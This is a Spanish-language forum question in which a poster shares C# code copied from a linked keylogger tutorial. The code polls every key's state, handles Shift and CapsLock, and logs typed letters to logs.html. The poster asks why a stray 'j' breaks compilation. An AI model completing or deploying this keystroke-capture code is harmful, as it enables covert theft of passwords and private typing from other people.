El siguiente codigo para detectar cuando se pulsa ShiftKey y CapsLock y asi registrar las mayusculas en un log lo saque de:
https://docplayer.es/3204615-Titulo-creacion-de-un-keylogger-lenguaje-c-autor-doddy-hackman-temario.html
private void timer1_Tick(object sender, EventArgs e)
{
for (int num = 0; num <= 255; num++)
{
int numcontrol = GetAsyncKeyState(num);
if (numcontrol == -32767)
{
if (num >= 65 && num <= 122)
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
string letra = Convert.ToChar(num + 32).ToString();
savefile("logs.html", letra);
}
else if
(Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
{
string letra = Convert.ToChar(num).ToString();
savefile("logs.html", letra);
}
else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
string letra = Convert.ToChar(num).ToString();
savefile("logs.html", letra);
}
else
{
string letra = Convert.ToChar(num j + 32).ToString();
savefile("logs.html", letra);
}
}
}
}
Al querer compilar en esa parte en especifico me salta el siguiente error:
Error CS0103 El nombre 'j' no existe en el contexto actual Main
Ya segui las recomendaciones de VS y nada funciona , espero me puedan ayudar y gracias de antemano.